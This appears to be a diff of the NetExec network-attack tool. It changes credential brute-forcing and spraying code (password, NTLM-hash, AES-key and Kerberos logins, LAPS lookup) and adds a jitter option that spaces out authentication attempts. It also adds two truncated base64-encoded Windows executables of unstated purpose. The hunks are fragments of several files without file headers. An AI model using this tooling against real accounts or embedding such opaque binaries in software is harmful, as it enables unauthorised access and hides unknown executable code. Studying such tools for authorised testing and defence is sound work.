|
||||
|
||||
# Parse AES keys
|
||||
if self.args.aesKey:
|
||||
for aesKey in self.args.aesKey:
|
||||
if isfile(aesKey):
|
||||
with open(aesKey, 'r') as aesKey_file:
|
||||
with open(aesKey) as aesKey_file:
|
||||
for line in aesKey_file:
|
||||
secret.append(line.strip())
|
||||
cred_type.append('aesKey')
|
||||
cred_type.append("aesKey")
|
||||
else:
|
||||
secret.append(aesKey)
|
||||
cred_type.append('aesKey')
|
||||
cred_type.append("aesKey")
|
||||
|
||||
# Allow trying multiple users with a single password
|
||||
if len(username) > 1 and len(secret) == 1:
|
||||
@@ -358,6 +442,8 @@ class connection(object):
|
||||
def try_credentials(self, domain, username, owned, secret, cred_type, data=None):
|
||||
"""
|
||||
Try to login using the specified credentials and protocol.
|
||||
With --jitter an authentication throttle can be applied.
|
||||
|
||||
Possible login methods are:
|
||||
- plaintext (/kerberos)
|
||||
- NTLM-hash (/kerberos)
|
||||
@@ -367,31 +453,43 @@ class connection(object):
|
||||
return False
|
||||
if self.args.continue_on_success and owned:
|
||||
return False
|
||||
# Enforcing FQDN for SMB if not using local authentication. Related issues/PRs: #26, #28, #24, #38
|
||||
if self.args.protocol == 'smb' and not self.args.local_auth and "." not in domain and not self.args.laps and secret != "" and not (self.domain.upper() == self.hostname.upper()) :
|
||||
self.logger.error(f"Domain {domain} for user {username.rstrip()} need to be FQDN ex:domain.local, not domain")
|
||||
return False
|
||||
if hasattr(self.args, "delegate") and self.args.delegate:
|
||||
self.args.kerberos = True
|
||||
|
||||
if self.args.jitter:
|
||||
jitter = self.args.jitter
|
||||
if "-" in jitter:
|
||||
start, end = jitter.split("-")
|
||||
jitter = (int(start), int(end))
|
||||
else:
|
||||
jitter = (0, int(jitter))
|
||||
value = jitter[0] if jitter[0] == jitter[1] else random.choice(range(jitter[0], jitter[1]))
|
||||
self.logger.debug(f"Throttle authentications: sleeping {value} second(s)")
|
||||
sleep(value)
|
||||
|
||||
with sem:
|
||||
if cred_type == 'plaintext':
|
||||
if cred_type == "plaintext":
|
||||
if self.args.kerberos:
|
||||
return self.kerberos_login(domain, username, secret, '', '', self.kdcHost, False)
|
||||
elif hasattr(self.args, "domain"): # Some protocolls don't use domain for login
|
||||
self.logger.debug("Trying to authenticate using Kerberos")
|
||||
return self.kerberos_login(domain, username, secret, "", "", self.kdcHost, False)
|
||||
elif hasattr(self.args, "domain"): # Some protocols don't use domain for login
|
||||
self.logger.debug("Trying to authenticate using plaintext with domain")
|
||||
return self.plaintext_login(domain, username, secret)
|
||||
elif self.args.protocol == 'ssh':
|
||||
elif self.args.protocol == "ssh":
|
||||
self.logger.debug("Trying to authenticate using plaintext over SSH")
|
||||
return self.plaintext_login(username, secret, data)
|
||||
else:
|
||||
self.logger.debug("Trying to authenticate using plaintext")
|
||||
return self.plaintext_login(username, secret)
|
||||
elif cred_type == 'hash':
|
||||
elif cred_type == "hash":
|
||||
if self.args.kerberos:
|
||||
return self.kerberos_login(domain, username, '', secret, '', self.kdcHost, False)
|
||||
return self.kerberos_login(domain, username, "", secret, "", self.kdcHost, False)
|
||||
return self.hash_login(domain, username, secret)
|
||||
elif cred_type == 'aesKey':
|
||||
return self.kerberos_login(domain, username, '', '', secret, self.kdcHost, False)
|
||||
elif cred_type == "aesKey":
|
||||
return self.kerberos_login(domain, username, "", "", secret, self.kdcHost, False)
|
||||
|
||||
def login(self):
|
||||
"""
|
||||
Try to login using the credentials specified in the command line or in the database.
|
||||
"""Try to login using the credentials specified in the command line or in the database.
|
||||
|
||||
:return: True if the login was successful and "--continue-on-success" was not specified, False otherwise.
|
||||
"""
|
||||
@@ -423,6 +521,7 @@ class connection(object):
|
||||
data.extend(parsed_data)
|
||||
|
||||
if self.args.use_kcache:
|
||||
self.logger.debug("Trying to authenticate using Kerberos cache")
|
||||
with sem:
|
||||
username = self.args.username[0] if len(self.args.username) else ""
|
||||
password = self.args.password[0] if len(self.args.password) else ""
|
||||
@@ -430,6 +529,13 @@ class connection(object):
|
||||
self.logger.info("Successfully authenticated using Kerberos cache")
|
||||
return True
|
||||
|
||||
if hasattr(self.args, "laps") and self.args.laps:
|
||||
self.logger.debug("Trying to authenticate using LAPS")
|
||||
username[0], secret[0], domain[0], ntlm_hash = laps_search(self, username, secret, cred_type, domain)
|
||||
cred_type = ["plaintext"]
|
||||
if not (username[0] or secret[0] or domain[0]):
|
||||
return False
|
||||
|
||||
if not self.args.no_bruteforce:
|
||||
for secr_index, secr in enumerate(secret):
|
||||
for user_index, user in enumerate(username):
|
||||
@@ -449,3 +555,12 @@ class connection(object):
|
||||
|
||||
def mark_pwned(self):
|
||||
return highlight(f"({pwned_label})" if self.admin_privs else "")
|
||||
|
||||
def load_modules(self):
|
||||
self.logger.info(f"Loading modules for target: {self.host}")
|
||||
loader = ModuleLoader(self.args, self.db, self.logger)
|
||||
self.modules = []
|
||||
|
||||
for module_path in self.module_paths:
|
||||
module = loader.init_module(module_path)
|
||||
self.modules.append(module)
|
||||
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import configparser
|
||||
import os
|
||||
|
||||
@@ -18,4 +15,3 @@ class Context:
|
||||
self.conf.read(os.path.expanduser("~/.nxc/nxc.conf"))
|
||||
|
||||
self.log = logger
|
||||
# self.log.debug = logging.debug
|
||||
@@ -0,0 +1 @@
|
||||
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 truncated
|
||||
+1
-1
@@ -13,7 +13,7 @@ bh_enabled = False
|
||||
bh_uri = 127.0.0.1
|
||||
bh_port = 7687
|
||||
bh_user = neo4j
|
||||
bh_pass = neo4j
|
||||
bh_pass = bloodhoundcommunityedition
|
||||
|
||||
[Empire]
|
||||
api_host = 127.0.0.1
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA+AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAACKLjEtzk9ffs5PX37OT19+2iRcf8RPX37aJFt/3U9fftokWn9hT19+rjVbf99PX36uNVx/xE9ffq41Wn+DT19+2iRef8tPX37OT15+p09ffqo1Vn/PT19+qjWgfs9PX36qNV1/z09fflJpY2jOT19+AAAAAAAAAABQRQAAZIYHADaCx2QAAAAAAAAAAPAAIgALAg4gALYCAACaAQAAAAAAgIQAAAAQAAAAAABAAQAAAAAQAAAAAgAABgAAAAAAAAAGAAAAAAAAAACgBAAABAAAAAAAAAMAYIEAABAAAAAAAAAQAAAAAAAAAAAQAAAAAAAAEAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAM/gMAPAAAAACABADgAQAAAEAEAGAkAAAAAAAAAAAAAACQBACkCQAAQL4DAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvQMAQAEAAAAAAAAAAAAAANACAPgCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAPC1AgAAEAAAALYCAAAEAAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAwOAEAANACAAA6AQAAugIAAAAAAAAAAAAAAAAAQAAAQC5kYXRhAAAACCoAAAAQBAAAFAAAAPQDAAAAAAAAAAAAAAAAAEAAAMAucGRhdGEAAGAkAAAAQAQAACYAAAAIBAAAAAAAAAAAAAAAAABAAABAX1JEQVRBAABcAQAAAHAEAAACAAAALgQAAAAAAAAAAAAAAAAAQAAAQC5yc3JjAAAA4AEAAACABAAAAgAAADAEAAAAAAAAAAAAAAAAAEAAAEAucmVsb2MAAKQJAAAAkAQAAAoAAAAyBAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiD7ChIjQ0FEgQA6OxJAABIjQ15tAIASIPEKOmsdgAASIPsKEG5AQAAAEiNFa8TBABFM8BIjQ01EwQA6DxPAABIjQ1VtAIASIPEKOl8dgAAQFNIg+wguQEAAADoINYAAEiNDXkTBABIi9jokU8AAEiNBQLGAgBFM8BIi9NIiQVdEwQASI0NVhMEAOgRVAAASI0NWrQCAEiDxCBb6Sx2AABIixXJFAQATI0FwhIEAEyJBcMUBABIhdJ0E0iLAkhjSARMiUQRUEyLBasUBABIixWsFAQASIXSdAxIiwJIY0gETIlEEVDDzMxIg+woSI0NbRIEAOgESQAASI0N/bMCAEiDxCjpxHUAAEiNDVW0AgDpuHUAAEiNDe2zAgDprHUAAEiD7ChIjQ2FFAQA6MxIAABIjQ2ttAIASIPEKOmMdQAASI0NXbQCAOmAdQAAzMzMzEiNBYkoBADDzMzMzMzMzMxIiUwkCEiJVCQQTIlEJBhMiUwkIFNWV0iD7DBIi/lIjXQkWLkBAAAA6PPUAABIi9jou////0UzyUiJdCQgTIvHSIvTSIsI6N36AABIg8QwX15bw8zMzMzMzMzMzMzMzMxMiUQkGEyJTCQgU1VWV0iD7DhJi/BIjWwkeEiL+kiL2ehr////SIlsJChMi85Mi8dIx0QkIAAAAABIi9NIiwjoEPsAAIXAuf////8PSMFIg8Q4X15dW8PMzMzMzMzMzMxAU0iD7CBIi9lIi8JIjQ3lwQIAD1fASI1TCEiJC0iNSAgPEQLop4oAAEiLw0iDxCBbw8zMzMzMzMzMzMzMzMzMSItRCEiNBb2nAwBIhdJID0XCw8zMzMzMzMzMzMzMzMxIiVwkCFdIg+wgSI0Fh8ECAEiL+UiJAYvaSIPBCOjeigAA9sMBdA26GAAAAEiLz+j8bgAASItcJDBIi8dIg8QgX8PMzMzMzMzMzMzMzMzMzEiNBUHBAgBIiQFIg8EI6Z2KAADMzMzMzMzMzMzMzMzMSI0FSacDAEjHQRAAAAAASIlBCEiNBa7BAgBIiQFIi8HDzMzMzMzMzMzMzMzMzMzMSIPsSEiNTCQg6ML///9IjRW76gMASI1MJCDo9YsAAMxAU0iD7CBIi9lIi8JIjQ3FwAIAD1fASI1TCEiJC0iNSAgPEQLoh4kAAEiNBUjBAgBIiQNIi8NIg8QgW8PMzMzMQFNIg+wgSIvZSIvCSI0NhcACAA9XwEiNUwhIiQtIjUgIDxEC6EeJAABIjQWAwAIASIkDSIvDSIPEIFvDzMzMzEiD7ChIjQ2NpgMA6OhIAADMzMzMzMzMzMzMzMzMzMzMQFNIg+wgSIvZSIvCSI0NJcACAA9XwEiNUwhIiQtIjUgIDxEC6OeIAABIjQWQwAIASIkDSIvDSIPEIFvDzMzMzESJAkiLwkiJSgjDzMzMzMxAU0iD7DBIiwFJi9hEi8JIjVQkIP9QGEiLSwhMi0gISItRCEk5UQh1DosLOQh1CLABSIPEMFvDMsBIg8QwW8PMSItCCEyLSAhMOUkIdQhEOQJ1A7ABwzLAw8zMzMzMzMxIjQWJBwQAiRFIiUEISIvBw8zMzMzMzMzMzMzMzMzMzEBVU1ZXQVRBVkFXSI1sJNlIgeygAAAASIsFSvsDAEgzxEiJRRdJi/hMi/pIi/FIiU2nRTPkTIllr0yJZb9MiWXHTYtwEEmDeBgQcgNJizhJg/4Qcw4PEAcPEUWvuw8AAADrdkmL3kiDyw9IuP////////9/SDvYSA9H2EiNSwFIgfkAEAAAci9IjUEnSDvBD4a7AQAASIvI6GtsAABIi8hIhcAPhKEBAABIg8AnSIPg4EiJSPjrD0iFyXQH6EdsAADrA0mLxEiJRa9NjUYBSIvXSIvI6IeKAABMiXW/SIldx0iNRa9IiUWnQQ8QBw8pRfdNhfZ0FkG4AgAAAEiNFbWkAwBIjU2v6EQgAABIi03/SIsBRItF90iNVff/UBCQSI1V90iDfQ8QSA9DVfdMi0UHSI1Nr+gWIAAAkEiLVQ9Ig/oQcjFI/8JIi033SIvBSIH6ABAAAHIZSIPCJ0iLSfhIK8FIg8D4SIP4Hw+H5QAAAOiKawAADxBFrw8RRc8PEE2/DxFN30yJZb9Ix0XHDwAAAMZFrwBMjUXPZkgPfsFmD3PZCGZID37ISIP4EEwPQ8FIjQWwvQIASIkGSI1WCA9XwA8RAkyJRffGRf8BSI1N9+hqhgAASI0FE74CAEiJBkiLVedIg/oQci1I/8JIi03PSIvBSIH6ABAAAHIVSIPCJ0iLSfhIK8FIg8D4SIP4H3c46OlqAABIjQUCvgIASIkGQQ8QBw8RRhhIi8ZIi00XSDPM6KhqAABIgcSgAAAAQV9BXkFcX15bXcPopQUBAMzoG/z//5DomQUBAJDMzMzMSIlcJAhXSIPsIEiNBfe8AgBIi/lIiQGL2kiDwQjoToYAAPbDAXQNuigAAABIi8/obGoAAEiLXCQwSIvHSIPEIF/DzMzMzMzMzMzMzMzMzMxIiVwkCFdIg+wgSIvaSI0FpLwCAEiJAUiNUQhIi/kPV8APEQJIjUsI6GOFAABIjQU8vQIASIkHSI0FSr0CAA8QQxhIi1wkMEiJB0iLxw8RRxhIg8QgX8PMzMzMzMzMzMxIiVwkCFdIg+wgSIvaSI0FRLwCAEiJAUiNUQhIi/kPV8APEQJIjUsI6AOFAABIjQXcvAIASIkHSIvHDxBDGEiLXCQwDxFHGEiDxCBfw8zMzEiNBVmiAwDDzMzMzMzMzMxIiVwkCFdIg+wwM/9Ii9pBg/gBdR9IiTpEjUcVSIl6EEjHQhgPAAAAQIg6SI0VdqQDAOstQYvI6FhgAABIiTtJx8D/////SIl7EEjHQxgPAAAAQIg7Sf/AQjg8AHX3SIvQSIvL6BccAABIi8NIi1wkQEiDxDBfw8zMzMzMzMzMzEBTSIPsIEiL2fbCAXQKuhAAAADo+GgAAEiLw0iDxCBbw8zMzMzMzMzMzMzMzMzMzEiNBamhAwBIx0EQAAAAAEiJQQhIjQVOvAIASIkBSIvBw8zMzMzMzMzMzMzMzMzMzEiD7EhIjUwkIOjC////SI0VU+MDAEiNTCQg6BWGAADMQFNIg+wgSIvZSIvCSI0N5boCAA9XwEiNUwhIiQtIjUgIDxEC6KeDAABIjQXouwIASIkDSIvDSIPEIFvDzMzMzEBTSIPsIEiNBeO7AgBIi9lIiQH2wgF0CroIAAAA6C5oAABIi8NIg8QgW8PMzMzMzEiJXCQQSIlMJAhXSIPsIEiL+kiL2TPS6JRAAACQM8BIiUMIiEMQSIlDGIhDIEiJQyhmiUMwSIlDOGaJQ0BIiUNIiENQSIlDWIhDYEiF/3QaSIvXSIvL6GVdAACQSIvDSItcJDhIg8QgX8NIjQ2PoAMA6PpCAADMzMzMzMzMzMzMSIlcJAhXSIPsIEiL2eiaXQAASItLWEiFyXQF6Lj0AAAz/0iJe1hIi0tISIXJdAXopPQAAEiJe0hIi0s4SIXJdAXokvQAAEiJezhIi0soSIXJdAXogPQAAEiJeyhIi0sYSIXJdAXobvQAAEiJexhIi0sISIXJdAXoXPQAAEiJewhIi8tIi1wkMEiDxCBf6RZAAADMzMzLine truncated
|
||||
@@ -0,0 +1,97 @@
|
||||
import sys
|
||||
import configparser
|
||||
import shutil
|
||||
from sqlalchemy import create_engine
|
||||
from sqlite3 import connect
|
||||
from os import mkdir
|
||||
from os.path import exists
|
||||
from os.path import join as path_join
|
||||
|
||||
from nxc.loaders.protocolloader import ProtocolLoader
|
||||
from nxc.paths import WORKSPACE_DIR
|
||||
|
||||
|
||||
def create_db_engine(db_path):
|
||||
return create_engine(f"sqlite:///{db_path}", isolation_level="AUTOCOMMIT", future=True, connect_args={"check_same_thread": False})
|
||||
|
||||
|
||||
def open_config(config_path):
|
||||
try:
|
||||
config = configparser.ConfigParser()
|
||||
config.read(config_path)
|
||||
except Exception as e:
|
||||
print(f"[-] Error reading nxc.conf: {e}")
|
||||
sys.exit(1)
|
||||
return config
|
||||
|
||||
|
||||
def get_workspace(config):
|
||||
return config.get("nxc", "workspace")
|
||||
|
||||
|
||||
def set_workspace(config_path, workspace_name):
|
||||
config = open_config(config_path)
|
||||
config.set("nxc", "workspace", workspace_name)
|
||||
write_configfile(config, config_path)
|
||||
print(f"[*] Workspace set to {workspace_name}")
|
||||
|
||||
|
||||
def get_db(config):
|
||||
return config.get("nxc", "last_used_db")
|
||||
|
||||
|
||||
def write_configfile(config, config_path):
|
||||
with open(config_path, "w") as configfile:
|
||||
config.write(configfile)
|
||||
|
||||
|
||||
def create_workspace(workspace_name, p_loader=None):
|
||||
"""
|
||||
Create a new workspace with the given name.
|
||||
|
||||
Args:
|
||||
----
|
||||
workspace_name (str): The name of the workspace.
|
||||
|
||||
Returns:
|
||||
-------
|
||||
None
|
||||
"""
|
||||
if exists(path_join(WORKSPACE_DIR, workspace_name)):
|
||||
print(f"[-] Workspace {workspace_name} already exists")
|
||||
else:
|
||||
print(f"[*] Creating {workspace_name} workspace")
|
||||
mkdir(path_join(WORKSPACE_DIR, workspace_name))
|
||||
|
||||
if p_loader is None:
|
||||
p_loader = ProtocolLoader()
|
||||
protocols = p_loader.get_protocols()
|
||||
|
||||
for protocol in protocols:
|
||||
protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"])
|
||||
proto_db_path = path_join(WORKSPACE_DIR, workspace_name, f"{protocol}.db")
|
||||
|
||||
if not exists(proto_db_path):
|
||||
print(f"[*] Initializing {protocol.upper()} protocol database")
|
||||
conn = connect(proto_db_path)
|
||||
c = conn.cursor()
|
||||
|
||||
# try to prevent some weird sqlite I/O errors
|
||||
c.execute("PRAGMA journal_mode = OFF")
|
||||
c.execute("PRAGMA foreign_keys = 1")
|
||||
|
||||
protocol_object.database.db_schema(c)
|
||||
|
||||
# commit the changes and close everything off
|
||||
conn.commit()
|
||||
conn.close()
|
||||
|
||||
|
||||
def delete_workspace(workspace_name):
|
||||
shutil.rmtree(path_join(WORKSPACE_DIR, workspace_name))
|
||||
print(f"[*] Workspace {workspace_name} deleted")
|
||||
|
||||
|
||||
def initialize_db():
|
||||
if not exists(path_join(WORKSPACE_DIR, "default")):
|
||||
create_workspace("default")
|
||||
+8
-24
@@ -1,12 +1,9 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from os import mkdir
|
||||
from os.path import exists
|
||||
from os.path import join as path_join
|
||||
import shutil
|
||||
from nxc.paths import nxc_PATH, CONFIG_PATH, TMP_PATH, DATA_PATH
|
||||
from nxc.nxcdb import initialize_db
|
||||
from nxc.paths import NXC_PATH, CONFIG_PATH, TMP_PATH, DATA_PATH
|
||||
from nxc.database import initialize_db
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
|
||||
@@ -14,10 +11,10 @@ def first_run_setup(logger=nxc_logger):
|
||||
if not exists(TMP_PATH):
|
||||
mkdir(TMP_PATH)
|
||||
|
||||
if not exists(nxc_PATH):
|
||||
if not exists(NXC_PATH):
|
||||
logger.display("First time use detected")
|
||||
logger.display("Creating home directory structure")
|
||||
mkdir(nxc_PATH)
|
||||
mkdir(NXC_PATH)
|
||||
|
||||
folders = (
|
||||
"logs",
|
||||
@@ -28,30 +25,17 @@ def first_run_setup(logger=nxc_logger):
|
||||
"screenshots",
|
||||
)
|
||||
for folder in folders:
|
||||
if not exists(path_join(nxc_PATH, folder)):
|
||||
if not exists(path_join(NXC_PATH, folder)):
|
||||
logger.display(f"Creating missing folder {folder}")
|
||||
mkdir(path_join(nxc_PATH, folder))
|
||||
mkdir(path_join(NXC_PATH, folder))
|
||||
|
||||
initialize_db(logger)
|
||||
initialize_db()
|
||||
|
||||
if not exists(CONFIG_PATH):
|
||||
logger.display("Copying default configuration file")
|
||||
default_path = path_join(DATA_PATH, "nxc.conf")
|
||||
shutil.copy(default_path, nxc_PATH)
|
||||
shutil.copy(default_path, NXC_PATH)
|
||||
|
||||
# if not exists(CERT_PATH):
|
||||
# logger.display('Generating SSL certificate')
|
||||
# try:
|
||||
# check_output(['openssl', 'help'], stderr=PIPE)
|
||||
# if os.name != 'nt':
|
||||
